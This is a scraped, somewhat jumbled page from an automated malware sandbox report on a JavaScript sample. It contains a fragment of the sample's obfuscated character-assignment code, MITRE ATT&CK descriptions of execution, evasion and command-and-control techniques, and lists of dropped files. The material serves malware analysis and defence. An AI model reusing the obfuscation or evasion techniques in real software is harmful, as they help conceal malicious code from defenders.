1308	rvwhyri = "N";
1309	rvwhyri = "u";
1310	rvwhyri = "U";
1311	rvwhyri = "B";
1312	rvwhyri = "Z";
1313	rvwhyri = "z";
1314	rvwhyri = "s";
1315	rvwhyri = "M";
1316	rvwhyri = "u";
1317	rvwhyri = "B";
1318	rvwhyri = "C";
1319	rvwhyri = "O";
1320	rvwhyri = "%";
1321	dqvdy = "s";
1322	dqvdy = "d";
1323	dqvdy = "j";
1324	dqvdy = "E";
1325	dqvdy = "I";
1326	dqvdy = "c";
1327	dqvdy = "X";
1328	dqvdy = "l";
1329	dqvdy = "D";
1330	dqvdy = "E";
1331	dqvdy = "t";
1332	dqvdy = "a";
1333	dqvdy = "G";
1334	dqvdy = "m";
1335	dqvdy = "c";
1336	dqvdy = "e";
1337	dqvdy = "P";
1338	dqvdy = "S";
1339	dqvdy = "x";
1340	dqvdy = "N";
1341	dqvdy = "I";
1342	dqvdy = "k";
1343	dqvdy = "U";
1344	dqvdy = "w";
1345	dqvdy = "Y";
1346	dqvdy = "E";
1347	dqvdy = "o";
1348	dqvdy = "K";
1349	dqvdy = "v";
1350	dqvdy = "A";
1351	dqvdy = "V";
1352	dqvdy = "W";
1353	dqvdy = "v";
1354	dqvdy = "t";
1355	dqvdy = "h";
1356	dqvdy = "l";
1357	dqvdy = "C";
1358	dqvdy = "v";
1359	dqvdy = "v";
1360	ncyknxce ( );	ncyknxce() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3090182781939528365.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5b8707.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b094bf07-f06f-421b-8e20-46ddfe8d8cba.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c867c652-6624-4700-aa1c-a2ee67ac9863.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
3090182781939528365.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre